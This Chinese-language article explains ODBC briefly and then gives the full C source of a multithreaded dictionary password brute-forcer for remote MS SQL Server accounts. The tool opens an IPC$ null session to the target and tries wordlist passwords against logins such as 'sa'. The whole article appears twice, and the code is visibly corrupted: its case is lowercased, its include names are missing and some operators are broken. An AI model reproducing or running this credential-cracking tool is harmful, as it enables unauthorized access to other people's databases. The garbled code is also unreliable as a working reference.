odbc是开放数据互连(open database connectivity)的简称,它是一个用于远程访问数据库(主要是关系型数据库)的统一界面标准。 odbc下现实运用中是一个数据库的访问库,它提供了一组odbc api函数可以提供给编程者使用。对于程序员来说,odbc api函数集实际上等于一个动态连接库(dll)集,可以在应用程序中直接使用它们。
一个应用程序直接调用odbc api函数来进行数据库的应用工作,工作过程一般比较复杂。其中一种办法大概是以下几步:
<1>启动odbc数据库应用程序。
<2>与服务器建立ipc session。
<3>创建数据库应用的环境句柄。
<4>创建连接句柄。
<5>连接数据源。
<6>创建语句句柄。
<7>通过上一步创建的语句句柄来执行sql操作。
<8>释放语句句柄。
<9>要进行多此sql操作的话,就循环步骤6-8。
<10>断开与数据库的连接。
<11>释放连接句柄。
<12>释放环境句柄。
<13>断开ipc session。
<14>程序结束。
下面以一个实例来说明远程检测ms sql server账号密码的全过程。此程序只作技术交流之用,如用于不法用途,作者不负任何责任!
/**********************************************************
module name:sqlcheck.c
date:2000.12.14
web:www.patching.net
notices:copyright(c) eyas
**********************************************************/
#include
#include
#include
#include
#include
#include
#include
#include
////////////////////////////////////////////////////////////////////////
file://定义全局变量
char dict[20000][40],//密码字典
username[40],//用户名
target[40],//目标服务器
passwd[40];//已经探测出来的正确密码
int total=0;//字典里面单词数量
bool cracked=false;//探测密码成功时此值为true
handle hsemaphore,//信标内核对象
hevent;//事件内核对象
long maxthreads,//最大线程数量
activethreads;//活动线程数量
////////////////////////////////////////////////////////////////////////
void usage(char *pragname)
{
printf("\npower by eyas"
"\nhttp://www.patching.net"
"\n2000/12/14"
"\n\nusage:%s "
"\nexample:%s 192.168.0.1 sa c:\\pwd.dic 50\n",pragname,pragname);
return;
}
////////////////////////////////////////////////////////////////////////
int readdic(char *dic)
{
file *fp;
char tmp[40];
file://打开字典文件
if((fp=fopen(dic,"r"))==null)
{
printf("\ncan't open %s",dic);
return 1;
}
while(!feof(fp))
{
file://读取数据到临时变量
if(fgets(tmp,40,fp)==null)
break;
file://把从文件里面读出来的最后一位数据[换行符号]去掉
strncpy(dict[total],tmp,strlen(tmp)-1);
total++;
if(total>=19999)
break;
}
fclose(fp);
return 0;
}
////////////////////////////////////////////////////////////////////////
int connipc(char *remotename)
{
netresource nr;
dword flags=connect_update_profile;
tchar rn[30]="\\\\",
ln[5]="";
strcat(rn,remotename);
strcat(rn,"\\ipc$");
nr.dwtype=resourcetype_disk;
nr.lplocalname=(lptstr)&ln;
nr.lpremotename=(lptstr)&rn;
nr.lpprovider=null;
if(wnetaddconnection2(&nr,(lpstr)"",(lpstr)"",flags)==no_error)
{
return 0;
}
else
{
return 1;
}
}
////////////////////////////////////////////////////////////////////////
int delipc(char *remotename)
{
dword ret;
tchar lpname[30]="\\\\";
strcat(lpname,remotename);
strcat(lpname,"\\ipc$");
ret=wnetcancelconnection2(lpname,connect_update_profile,true);
if(ret==no_error)
{
return 0;
}
else
{
return 1;
}
}
////////////////////////////////////////////////////////////////////////
dword winapi sqlcheck(pvoid ppwd)
{
file://定义局部变量
char szbuffer[1025];
char *pwd;
sword swstrlen;
sqlhdbc hdbc;
sqlhandle henv;
sqlreturn retcode;//odbc api运行返回值
schar connstr[200];//连接数据库字符串
long previouscount;
file://取得传递过来准备探测的密码
pwd=(char *)ppwd;
file://构造连接数据库字符
sprintf(connstr,"driver={sql server};server=%s;uid=%s;pwd=%s;database=master",
target,username,pwd);
file://puts(connstr);
__try{
file://创建数据库应用的环境句柄
if (sqlallochandle(sql_handle_env,sql_null_handle,&henv) !=sql_success)
{
printf("\nallocate environment handle failed.\n");
exitprocess(1);
}
file://设置odbc版本环境
if (sqlsetenvattr(henv, sql_attr_odbc_version,(sqlpointer)
sql_ov_odbc3, sql_is_integer) != sql_success)
{
printf("\nset the odbc version environment attribute failed.\n");
sqlfreehandle(sql_handle_env, henv);
exitprocess(1);
}
file://创建连接句柄
if ((retcode= sqlallochandle(sql_handle_dbc,henv,(sqlhdbc far
*)&hdbc)) != sql_success)
{
printf("\nallocate connection handle failed.\n");
sqlfreehandle(sql_handle_env, henv);
exitprocess(1);
}
file://连接数据源
retcode= sqldriverconnect(hdbc,null,connstr,strlen(connstr),
szbuffer,sizeof(szbuffer),&swstrlen,
sql_driver_complete_required);
if(retcode!=sql_success && retcode != sql_success_with_info)
{
file://连接失败,函数终止
file://printf("\ncouldn't connect to %s mssql server.\n",target);
}
else
{
file://连接远程mssql server数据库成功
cracked=true;
strncpy(passwd,pwd,sizeof(passwd));
file://断开连接
sqldisconnect(hdbc);
}
}//end of tyr
__finally{
file://释放连接句柄
sqlfreehandle(sql_handle_dbc, hdbc);
file://释放环境句柄
sqlfreehandle(sql_handle_env, henv);
file://对信标当前资源数量进行递增1,并取得当前资源数量的原始值
releasesemaphore(hsemaphore,1,&previouscount);
file://计算当前活动线程数量
activethreads=maxthreads-previouscount-1;
file://printf("\nactivethreads-->%d.",activethreads);
file://如果活动线程数量为0,那么将事件内核对象hevent改为已通知状态,程序结束
if(activethreads==0)
{
setevent(hevent);
}
}//end of finally
return 0;
}
////////////////////////////////////////////////////////////////////////
int main(int argc,char **argv)
{
handle hthread;//线程句柄
dword dwthreadid,dwret;
int i=0,err=0;
clock_t start,end;//程序运行的起始和结束时间
double duration;
if(argc!=5)
{
usage(argv[0]);
return 1;
}
file://取得目标地址,用户名
strncpy(target,argv[1],sizeof(target));
strncpy(username,argv[2],sizeof(username));
file://取得并检查用户输入的最大线程数量
maxthreads=atol(argv[4]);
if((maxthreads>100) (maxthreads<1))
{
usage(argv[0]);
return 1;
}
file://读取字典中的单词到内存中
if(readdic(argv[3])!=0)
return 1;
file://与目标机器建立ipc session
if(connipc(argv[1])!=0)
{
printf("\ncan't built ipc null session!");
return 1;
}
else
{
printf("\nbuilt ipc null session success!\n");
}
file://创建信标内核对象,最大资源数量和可以使用的资源数量均为maxthreads
hsemaphore=createsemaphore(null,maxthreads,maxthreads,null);
if(hsemaphore==null)
{
printf("\ncreatesemaphore() failed.errorcode:%d.",getlasterror());
return 1;
}
file://创建事件内核对象[人工重置,初始状态为未通知]
hevent=createevent(null,true,false,null);
if(hevent==null)
{
printf("\ncreateevent() failed.errorcode:%d.",getlasterror());
closehandle(hsemaphore);
return 1;
}
file://开始计时
start=clock();
file://开始建立线程探测密码
for(i=0;i {
file://探测密码成功后跳出此循环
if(cracked==true)
break;
file://显示进度信息
printf("\n[%d/%d] %s -> %s -> %s",i+1,total,target,username,dict[i]);
file://创建线程
hthread=createthread(null,0,sqlcheck,(pvoid)&dict[i],0,&dwthreadid);
file://处理创建线程错误的情况
if(hthread==null)
{
err++;
messagebox(null,"thread error","error",mb_ok);
if(err>=50)
break;
}
closehandle(hthread);
sleep(10);
file://等待信标内核对象通知,可用资源数量大于0则继续创建线程,等于0则线程进入等待状态
waitforsingleobject(hsemaphore,infinite);
}
file://等待事件内核对象通知,最多等待3分钟
dwret=waitforsingleobject(hevent,180000);
switch(dwret)
{
case wait_object_0:
printf("\nall thread done.");
break;
case wait_timeout:
printf("\nwait time out.exit.");
break;
case wait_failed:
printf("\nwaitforsingleobject() failed.");
break;
}
file://断开与目标机器的ipc session
delipc(target);
file://探测密码成功后回显信息
if(cracked==true)
printf("\n\nsuccess!%s sql server user [%s] passwd is [%s].",target,username,passwd);
file://记时结束
end=clock();
file://转换时间格式
duration = (double)(end - start) / clocks_per_sec;
file://显示所用时间
printf("\n\ncomplete.use %2.1f seconds.\n",duration);
return 0;
}
////////////////////////////////////////////////////////////////////////
程序在windows2000,vc++6.0环境下编译通过。
一个应用程序直接调用odbc api函数来进行数据库的应用工作,工作过程一般比较复杂。其中一种办法大概是以下几步:
<1>启动odbc数据库应用程序。
<2>与服务器建立ipc session。
<3>创建数据库应用的环境句柄。
<4>创建连接句柄。
<5>连接数据源。
<6>创建语句句柄。
<7>通过上一步创建的语句句柄来执行sql操作。
<8>释放语句句柄。
<9>要进行多此sql操作的话,就循环步骤6-8。
<10>断开与数据库的连接。
<11>释放连接句柄。
<12>释放环境句柄。
<13>断开ipc session。
<14>程序结束。
下面以一个实例来说明远程检测ms sql server账号密码的全过程。此程序只作技术交流之用,如用于不法用途,作者不负任何责任!
/**********************************************************
module name:sqlcheck.c
date:2000.12.14
web:www.patching.net
notices:copyright(c) eyas
**********************************************************/
#include
#include
#include
#include
#include
#include
#include
#include
////////////////////////////////////////////////////////////////////////
file://定义全局变量
char dict[20000][40],//密码字典
username[40],//用户名
target[40],//目标服务器
passwd[40];//已经探测出来的正确密码
int total=0;//字典里面单词数量
bool cracked=false;//探测密码成功时此值为true
handle hsemaphore,//信标内核对象
hevent;//事件内核对象
long maxthreads,//最大线程数量
activethreads;//活动线程数量
////////////////////////////////////////////////////////////////////////
void usage(char *pragname)
{
printf("\npower by eyas"
"\nhttp://www.patching.net"
"\n2000/12/14"
"\n\nusage:%s "
"\nexample:%s 192.168.0.1 sa c:\\pwd.dic 50\n",pragname,pragname);
return;
}
////////////////////////////////////////////////////////////////////////
int readdic(char *dic)
{
file *fp;
char tmp[40];
file://打开字典文件
if((fp=fopen(dic,"r"))==null)
{
printf("\ncan't open %s",dic);
return 1;
}
while(!feof(fp))
{
file://读取数据到临时变量
if(fgets(tmp,40,fp)==null)
break;
file://把从文件里面读出来的最后一位数据[换行符号]去掉
strncpy(dict[total],tmp,strlen(tmp)-1);
total++;
if(total>=19999)
break;
}
fclose(fp);
return 0;
}
////////////////////////////////////////////////////////////////////////
int connipc(char *remotename)
{
netresource nr;
dword flags=connect_update_profile;
tchar rn[30]="\\\\",
ln[5]="";
strcat(rn,remotename);
strcat(rn,"\\ipc$");
nr.dwtype=resourcetype_disk;
nr.lplocalname=(lptstr)&ln;
nr.lpremotename=(lptstr)&rn;
nr.lpprovider=null;
if(wnetaddconnection2(&nr,(lpstr)"",(lpstr)"",flags)==no_error)
{
return 0;
}
else
{
return 1;
}
}
////////////////////////////////////////////////////////////////////////
int delipc(char *remotename)
{
dword ret;
tchar lpname[30]="\\\\";
strcat(lpname,remotename);
strcat(lpname,"\\ipc$");
ret=wnetcancelconnection2(lpname,connect_update_profile,true);
if(ret==no_error)
{
return 0;
}
else
{
return 1;
}
}
////////////////////////////////////////////////////////////////////////
dword winapi sqlcheck(pvoid ppwd)
{
file://定义局部变量
char szbuffer[1025];
char *pwd;
sword swstrlen;
sqlhdbc hdbc;
sqlhandle henv;
sqlreturn retcode;//odbc api运行返回值
schar connstr[200];//连接数据库字符串
long previouscount;
file://取得传递过来准备探测的密码
pwd=(char *)ppwd;
file://构造连接数据库字符
sprintf(connstr,"driver={sql server};server=%s;uid=%s;pwd=%s;database=master",
target,username,pwd);
file://puts(connstr);
__try{
file://创建数据库应用的环境句柄
if (sqlallochandle(sql_handle_env,sql_null_handle,&henv) !=sql_success)
{
printf("\nallocate environment handle failed.\n");
exitprocess(1);
}
file://设置odbc版本环境
if (sqlsetenvattr(henv, sql_attr_odbc_version,(sqlpointer)
sql_ov_odbc3, sql_is_integer) != sql_success)
{
printf("\nset the odbc version environment attribute failed.\n");
sqlfreehandle(sql_handle_env, henv);
exitprocess(1);
}
file://创建连接句柄
if ((retcode= sqlallochandle(sql_handle_dbc,henv,(sqlhdbc far
*)&hdbc)) != sql_success)
{
printf("\nallocate connection handle failed.\n");
sqlfreehandle(sql_handle_env, henv);
exitprocess(1);
}
file://连接数据源
retcode= sqldriverconnect(hdbc,null,connstr,strlen(connstr),
szbuffer,sizeof(szbuffer),&swstrlen,
sql_driver_complete_required);
if(retcode!=sql_success && retcode != sql_success_with_info)
{
file://连接失败,函数终止
file://printf("\ncouldn't connect to %s mssql server.\n",target);
}
else
{
file://连接远程mssql server数据库成功
cracked=true;
strncpy(passwd,pwd,sizeof(passwd));
file://断开连接
sqldisconnect(hdbc);
}
}//end of tyr
__finally{
file://释放连接句柄
sqlfreehandle(sql_handle_dbc, hdbc);
file://释放环境句柄
sqlfreehandle(sql_handle_env, henv);
file://对信标当前资源数量进行递增1,并取得当前资源数量的原始值
releasesemaphore(hsemaphore,1,&previouscount);
file://计算当前活动线程数量
activethreads=maxthreads-previouscount-1;
file://printf("\nactivethreads-->%d.",activethreads);
file://如果活动线程数量为0,那么将事件内核对象hevent改为已通知状态,程序结束
if(activethreads==0)
{
setevent(hevent);
}
}//end of finally
return 0;
}
////////////////////////////////////////////////////////////////////////
int main(int argc,char **argv)
{
handle hthread;//线程句柄
dword dwthreadid,dwret;
int i=0,err=0;
clock_t start,end;//程序运行的起始和结束时间
double duration;
if(argc!=5)
{
usage(argv[0]);
return 1;
}
file://取得目标地址,用户名
strncpy(target,argv[1],sizeof(target));
strncpy(username,argv[2],sizeof(username));
file://取得并检查用户输入的最大线程数量
maxthreads=atol(argv[4]);
if((maxthreads>100) (maxthreads<1))
{
usage(argv[0]);
return 1;
}
file://读取字典中的单词到内存中
if(readdic(argv[3])!=0)
return 1;
file://与目标机器建立ipc session
if(connipc(argv[1])!=0)
{
printf("\ncan't built ipc null session!");
return 1;
}
else
{
printf("\nbuilt ipc null session success!\n");
}
file://创建信标内核对象,最大资源数量和可以使用的资源数量均为maxthreads
hsemaphore=createsemaphore(null,maxthreads,maxthreads,null);
if(hsemaphore==null)
{
printf("\ncreatesemaphore() failed.errorcode:%d.",getlasterror());
return 1;
}
file://创建事件内核对象[人工重置,初始状态为未通知]
hevent=createevent(null,true,false,null);
if(hevent==null)
{
printf("\ncreateevent() failed.errorcode:%d.",getlasterror());
closehandle(hsemaphore);
return 1;
}
file://开始计时
start=clock();
file://开始建立线程探测密码
for(i=0;i {
file://探测密码成功后跳出此循环
if(cracked==true)
break;
file://显示进度信息
printf("\n[%d/%d] %s -> %s -> %s",i+1,total,target,username,dict[i]);
file://创建线程
hthread=createthread(null,0,sqlcheck,(pvoid)&dict[i],0,&dwthreadid);
file://处理创建线程错误的情况
if(hthread==null)
{
err++;
messagebox(null,"thread error","error",mb_ok);
if(err>=50)
break;
}
closehandle(hthread);
sleep(10);
file://等待信标内核对象通知,可用资源数量大于0则继续创建线程,等于0则线程进入等待状态
waitforsingleobject(hsemaphore,infinite);
}
file://等待事件内核对象通知,最多等待3分钟
dwret=waitforsingleobject(hevent,180000);
switch(dwret)
{
case wait_object_0:
printf("\nall thread done.");
break;
case wait_timeout:
printf("\nwait time out.exit.");
break;
case wait_failed:
printf("\nwaitforsingleobject() failed.");
break;
}
file://断开与目标机器的ipc session
delipc(target);
file://探测密码成功后回显信息
if(cracked==true)
printf("\n\nsuccess!%s sql server user [%s] passwd is [%s].",target,username,passwd);
file://记时结束
end=clock();
file://转换时间格式
duration = (double)(end - start) / clocks_per_sec;
file://显示所用时间
printf("\n\ncomplete.use %2.1f seconds.\n",duration);
return 0;
}
////////////////////////////////////////////////////////////////////////
程序在windows2000,vc++6.0环境下编译通过。